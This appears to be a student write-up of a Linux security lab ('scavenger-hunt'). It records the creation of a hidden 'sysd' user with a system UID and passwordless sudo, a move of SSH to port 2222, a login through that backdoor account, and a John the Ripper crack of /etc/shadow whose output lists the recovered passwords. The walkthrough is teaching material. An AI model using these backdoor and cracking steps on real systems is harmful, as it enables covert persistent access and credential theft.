## **Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:

```
useradd -M -u 911 sysd
```

\*reading ahead I set the UID at the same time\*

2. Give your secret user a password:

```
passwd sysd
```

passw0rd

passw0rd

- 3. Give your secret user a system UID < 1000:
  - o usermod -u 911 sysd
- 4. Give your secret user the same GID:
  - sudo groupadd sysd1
  - o groupmod -g 911
  - o usermod -g 911 sysd
- 5. Give your secret user full sudo access without the need for a password:
  - o usermod -aG sudo sysd
  - o sudo visudo
  - sysd ALL=(ALL) NOPASSWD: ALL

0

```
# User privilege specification
root ALL=(ALL:ALL) ALL
sysd ALL=(ALL) NOPASSWD: ALL
# Members of the admin group may gain root privilege
%admin ALL=(ALL) ALL
```

6. Test that sudo access works without your password:

```
$ sudo -l
Matching Defaults entries for sysd on scavenger-hunt:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/b
in\:/snap/bin

User sysd may run the following commands on scavenger-hunt:
    (ALL) NOPASSWD: ALL
    (ALL : ALL) ALL
$
```

sudo visudo

## Step 2: Smooth Sailing

1. Edit the sshd\_config file:

Sudo nano /etc/ssh/sshd\_config

## **Step 3: Testing Your Configuration Update**

1. Restart the SSH service:

```
*** System restart required ***

Last login: Sun Oct 3 01:49:56 2021 from 192.168.6.104

sysadmin:~\ $ systemctl restart ssh*

==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ===

Authentication is required to restart 'ssh.service'.

Multiple identities can be used for authentication:

1. sysadmin

2. sysd

Choose identity to authenticate as (1-2): 2

Password:

==== AUTHENTICATION COMPLETE ===

sysadmin:~\ $
```

- 2. Exit the root account:
  - o exit
- 3. SSH to the target machine using your sysd account and port 2222:

```
onsysadmin@UbuntuDesktop:~$ ssh sysd@192.168.6.105 -p 2222
Ssysd@192.168.6.105's password:
Uelcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic
 x86 64)
nf * Documentation:
                    https://help.ubuntu.com
                    https://landscape.canonical.com
s * Management:
                    https://ubuntu.com/advantage
  * Support:
eq System information disabled due to load higher than 1.0
  * Super-optimized for small spaces - read how we shrank th
au
    footprint of MicroK8s to make it the smallest full K8s a
 round.
    https://ubuntu.com/blog/microk8s-memory-optimisation
 137 packages can be updated.
 49 updates are security updates.
```

4. Use sudo to switch to the root user:

## Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222:

```
n<mark>sysadmin@UbuntuDesktop:~</mark>$ ssh sysd@192.168.6.105 -p 2222
Ssysd@192.168.6.105's password:
```

- You found flag 7:\$1\$zmr05X2t\$QfOdeJVDpph5pBPpVL6oy0
- 2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

```
root@scavenger-hunt:/# pwd
 root@scavenger-hunt:/# cd etc
 root@scavenger-hunt:/etc# john shadow
 Created directory: /root/.john
 Loaded 8 password hashes with 8 different salts (crypt, generic crypt(3) [?
 /64])
 Press 'q' or Ctrl-C to abort, almost any other key for status
 0g 0:00:00:04 9% 1/3 0g/s 358.2p/s 358.2c/s 358.2C/s 999999..s99999w
 computer
                  (stallman)
 freedom
                  (babbage)
 trustno1
                  (mitnik)
 dragon
                  (lovelace)
 lakers
                  (turing)
                  (sysadmin)
 passw0rd
 passw0rd
                  (sysd)
 Goodluck!
                  (student)
 8g 0:00:05:02 100% 2/3 0.02645g/s 373.1p/s 389.3c/s 389.3C/s Missy!..Jupite
 Use the "--show" option to display all of the cracked passwords reliably
 Session completed
root@scavenger-hunt:/etc#
```